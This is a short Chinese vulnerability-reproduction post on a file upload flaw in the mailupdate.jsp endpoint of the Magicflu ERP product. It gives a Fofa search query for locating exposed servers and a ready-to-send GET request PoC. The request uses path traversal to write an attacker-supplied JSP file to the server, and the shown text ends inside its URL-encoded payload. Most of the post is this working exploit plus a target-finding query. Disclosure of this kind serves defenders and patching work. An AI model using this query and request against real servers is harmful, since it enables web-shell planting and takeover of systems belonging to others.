【漏洞复现】魔方网表ERP产品mailupdat文件上传漏洞

漏洞描述：

魔方网表帮助其搭建了支持信创环境的端到端的一站式数据智能填报系统,实现数据收集模板个性化定义,收集任务集中管控,结构化数据存储、分析及呈现等功能。

魔方网表ERP产品mailupdate存在文件上传漏洞，攻击者可利用漏洞获取服务器权限。

搜索语法:

Fofa-Query: icon_hash="694014318"

漏洞详情：

1.魔方网表ERP产品。

2.漏洞POC：

GET /magicflu/html/mail/mailupdate.jsp?messageid=/../../../test404.jsp&messagecontent=%3C%25%20out.println%28%22Hello%20World%21%22%29%3Bnew%20java.io.File%28application.getRealPath%28request.getServletPath%28%29%29%29